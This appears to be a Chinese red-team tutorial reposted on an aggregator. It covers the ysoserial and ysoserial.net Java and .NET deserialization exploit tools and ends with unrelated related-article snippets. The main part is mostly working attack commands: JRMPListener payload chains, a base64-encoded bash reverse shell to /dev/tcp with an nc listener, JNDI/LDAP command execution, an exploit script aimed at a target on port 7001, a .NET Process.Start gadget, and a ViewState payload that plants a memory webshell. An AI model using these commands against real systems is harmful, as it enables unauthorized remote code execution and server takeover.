红队专题-反序列化攻击-Tools-Ysoserial

news2024/11/16 17:42:10

在这里插入图片描述

Ysoserial

  • 招募六边形战士队员
  • ysoserial-0.0.6-SNAPSHOT-all.jar
    • ysoserial的原生CB1的链
    • CC6链
    • 在ysoserial编写自己的payload
  • ysoserial.net
    • 前言
  • 参考文章

招募六边形战士队员

一起学习 代码审计、安全开发、web攻防、逆向等。。。
私信联系
在这里插入图片描述

ysoserial-0.0.6-SNAPSHOT-all.jar

概念验证工具,用于生成利用不安全的Java对象反序列化的有效负载

URLDNS是ysoserial中最简单的一条利用链

ysoserial集合了各种java反序列化payload
git clone https://github.com/frohoff/ysoserial.git
下载地址:https://github.com/angelwhu/ysoserial

公网vps上执行


java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener  【port】 CommonsCollections1 '【commands】'


port:公网vps上监听的端口号
commands:需要执行的命令



java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'ping -c 2  rce.267hqw.ceye.io'



重启一个shell窗口:

python exploit.py 【目标ip】 【目标端口】 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 【JRMPListener ip】  【JRMPListener port】 JRMPClient

python exploit.py xx.xx.xx.xx  7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar xx.xx.xx.xx  1099 JRMPClient


Linux:
java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 88 CommonsBeanutils1 "bash -c {echo,字段}|{base64,-d}|{bash,-i}"  

字段=bash -i >& /dev/tcp/x.x.x.x/8888 0>&1 base64后的值  

nc -lvp 端口




Windows:
java -jar JNDIExploit-1.0-SNAPSHOT.jar -i VPS地址

java -cp ysoserial-0.0.6-SNAPSHOT-1.8.3.jar ysoserial.exploit.JRMPListener 88 CommonsBeanutils2 "ldap://VPS地址:1389/Basic/Command/Base64/d2hvYW1p"  


d2hvYW1p为命令的base64,这里是执行命令whoami




在ysoserial下生成URLDNS命令为:

java -jar .\ysoserial.jar URLDNS "http://xxx.dnslog.cn"

ysoserial的原生CB1的链

CC6链

java -jar ysoserial.jar CommonsCollections6 'bash -c {echo,YmFzaxxIDA+JjE=}|{base64,-d}|{bash,-i}' > poc.serx

在ysoserial编写自己的payload

git clone https://github.com/fanyingjie2/ysoserial.git
将自己编写的payload放在下载的包中:路径ysoserial/src/main/java/ysoserial/payloads/
修改Dockerfile

FROM maven:3.5-jdk-8
WORKDIR /app
# download artifacts
COPY pom.xml .
RUN mvn dependency:resolve
RUN mvn verify
RUN mvn compiler:help
# build
COPY src ./src
RUN mvn clean package -DskipTests
RUN mv target/ysoserial-*all*.jar target/ysoserial.jar 

docker build -t ysoserial .
docker run -ti ID号 /bin/bash
在docke中执行 apt-get update
在docker中执行apt-get install lrzsz
sz target/ysoserial.jar

ysoserial.net

https://github.com/pwntester/ysoserial.net

Ysoserial.Net只提供序列化之后的Payload主体,具体执行的命令从外部输入,实现代码清单如下


String payload = @"{
 
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
 
    'MethodName':'Start',
 
    'MethodParameters':{
 
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
 
        '$values':[" + cmdPart + @"]
 
    },
 
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}

前言

利用方式
Ysoserial.Net 来⽣成反序列化 payload,再通过调⽤远程⽅法来触发反序列化,实现任意代码执⾏,从⽽导致服务器被接管。

payload 举例

{{unquote("PK\x03\x04\\x00")}}
ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "memshell.cs;./dlls/System.dll;./dlls/System.Web.dll" --generator="C2EE9ABB" --validationalg="SHA1" --validationkey="C50xxxxxxxxxxxxxxABE"




ysoserial.exe -f BinaryFormatter -g ResourceSet -o base64 -c "ping jcudlhvdwm.dgrh3.cn"

参考文章

https://mp.weixin.qq.com/s/wldhQ6vhYSg-RBjy7v0aMQ
.NET实现Json序列化生成Ysoserial Payload

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1376682.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

探索WPF控件内容模型的四大支柱

WPF 内容模型 WPF控件内容模型主要指派生于System.Windows.Controls.Control类的各种控件,有四个可包含任意内容的类。 下表列出了继承自 Control 的类。 ContentControl:用于包含一段任意类型的内容。但是只能包含一个子元素作为其“内容”。它可以包…

2023.12.10查找,线性探测法

二叉树的重构 集合实现对图的dfs,bfs复写 插入排序 霍夫曼树,霍夫曼编码 查找成功,查找失败的期望值计算 9.给定散列表大小为11,散列函数为H(Key)Key%11。按照线性探测冲突解决策略连续插入散列值相同的4个元素。问:此时该散…

机器学习_8、支持向量机

支持向量机解决鸢尾花数据集分类问题 # 导入鸢尾花数据集 from sklearn.datasets import load_iris import pandas as pd import numpy as npiris_data load_iris() Xiris_data.data yiris_data.target# 划分训练集与测试集 from sklearn.model_selection import train_test_…

CES 2024:芯片厂商集体奔向AI,汽车芯片成为新赛道

科技云报道原创。 一年一度的CES又来了! 美国当地时间1月9日,2024年国际消费类电子产品展览会(CES)如期举行。 作为全球最盛大的科技盛会,全球多个行业的顶尖企业都会参加CES。今年,展商们已经不约而同将…

公众号突破2个限制技巧怎么操作?

一般可以申请多少个公众号?目前企业主体只能申请2个公众号,这也意味着想做矩阵公众号的难度提升了。有些公司靠着诸多不同分工的公众号形成一个个矩阵,获取不同领域的粉丝。比如,目前主体为xx旗下公众号,共有30个&…

《YOLO算法:基础+进阶+改进》报错解决 专栏答疑

前言:Hello大家好,我是小哥谈。《YOLO算法:基础进阶改进》专栏上线后,部分同学在学习过程中提出了一些问题,笔者相信这些问题其他同学也有可能遇到。为了让大家可以更好地学习本专栏内容,笔者特意推出了该篇…

Docker 的工作原理及安装步骤【云原生】

文章目录 1. Docker 的工作原理2. Docker 与虚拟机3. Docker 架构4. 安装 Docker5. 配置镜像加速 1. Docker 的工作原理 大型项目组件较多,运行环境也较为复杂,部署会碰到一些问题: ① 依赖关系复杂,容易出现兼容性问题&#xff1…

2023.12.14,搜索遍历,走迷宫,青蛙跳

搜索遍历 AD,一定要模拟队列,在B中,2,6,0,由于6先入队,所以在访问6时,会优先把6的所有结点先入队,也就是确定好了下层的遍历顺序 即两个原则,1由近及远,符合层数递增关系…

GEE查看SMAP的L3级土壤水分产品并导出为TIFF

SMAP的L3级产品,时间分辨率为每日,空间分辨率为9KM,到2023年12月2日停止提供。 查看逐日的土壤水分变化 // 设置感兴趣区域(Region of Interest) var roi ee.FeatureCollection(projects/a-flyllf0313/assets/dacha…

【图文教程】win10 安装超级好用的 shell 工具---Atuin

Atuin 使用 SQLite 数据库取代了你现有的 shell 历史,并为你的命令记录了额外的内容。此外,它还通过 Atuin 服务器,在机器之间提供可选的、完全加密的历史记录同步功能。 推荐文章:https://mp.weixin.qq.com/s/T7ln6PTOeWEdjtxnor…

POI:对Excel的基本读操作 整理2

1 简单读取操作 public class ExcelRead {String PATH "D:\\Idea-projects\\POI\\POI_projects";// 读取的一系列方法// ...... } 因为07版本和03版本操作流程大差不差,所以这边就以03版本为例 Testpublic void testRead03() throws IOException {//获取…

力士乐触摸屏维修触控屏VR2109.01-00-01-N2-NNN-A

Rexroth力士乐触控屏VCP20.1BUN.768PB-NN-PW数控系统屏幕维修及排查: 力士乐数控机床故障诊断的一般步骤都是相同的。当数控机床发生故障时,除非出现危险及数控机床或人身的紧急情况,一般不要关断电源,要尽可能地保持机床原来的状…

我的隐私计算学习——联邦学习(3)

本篇笔记主要是根据这位老师的知识分享整理而成【公众号:秃顶的码农】,我从他的资料里学到了很多,期间还私信询问了一些困惑,都得到了老师详细的答复,相当nice! (五)纵向联邦学习 —…

AI分割迁移绘画-neural-style

🏡 个人主页:IT贫道-CSDN博客 🚩 私聊博主:私聊博主加WX好友,获取更多资料哦~ 🔔 博主个人B栈地址:豹哥教你学编程的个人空间-豹哥教你学编程个人主页-哔哩哔哩视频 目录 1. 二值化展示图像代码…

性能测试分析案例-定位内核线程CPU利用率太高

环境准备 预先安装 docker、perf、hping3、curl 等工具,如 apt install docker.io linux-tools-common hping3 操作和分析 Linux 在启动过程中,有三个特殊的进程,也就是 PID 号最小的三个进程。 0 号进程为 idle 进程,这也是系…

【Git】查看凭据管理器的账号信息,并删除账号,解决首次认证登录失败后无法重新登录的问题

欢迎来到《小5讲堂》 大家好,我是全栈小5。 这是是《代码管理工具》序列文章,每篇文章将以博主理解的角度展开讲解, 特别是针对知识点的概念进行叙说,大部分文章将会对这些概念进行实际例子验证,以此达到加深对知识点的…

SQL语句详解一

概念 什么是 SQL?(如果还未安装MySQL请参考此文章安装下) Structured Query Language:结构化查询语言其实就是定义和操作所有关系型数据库的规则。每一种数据库操作的方式存在不一样的地方,称为"方言"。 SQ…

[Linux 进程(二)] Linux进程状态

文章目录 1、进程各状态的概念1.1 运行状态1.2 阻塞状态1.3 挂起状态 2、Linux进程状态2.1 运行状态 R2.2 睡眠状态 S2.3 深度睡眠 D2.4 停止状态 T2.5 僵尸状态 Z 与 死亡状态 X孤儿进程 Linux内核中,进程状态,就是PCB中的一个字段,是PCB中的…

答题小程序源码系统:自带流量主广告位+视频激励广告 带完整的代码安装包以及搭建教程

随着互联网的迅速发展,各种应用程序层出不穷,而答题类小程序由于其独特的互动性和吸引力,成为了当前最热门的应用之一。答题小程序源码系统是一款基于微信小程序开发的源代码系统,它具有丰富的功能和灵活的定制性,可以…

视频号下载保姆级攻略:五大神级下载方法揭秘!

今天我要和大家聊聊一个非常有趣的话题,那就是如何下载视频号的视频。据我所知虽然很多人都知道视频号,但却不知道如何玩好视频号,以及怎么下载视频,我知道有些朋友可能对这个话题还不太了解,但是我相信,只…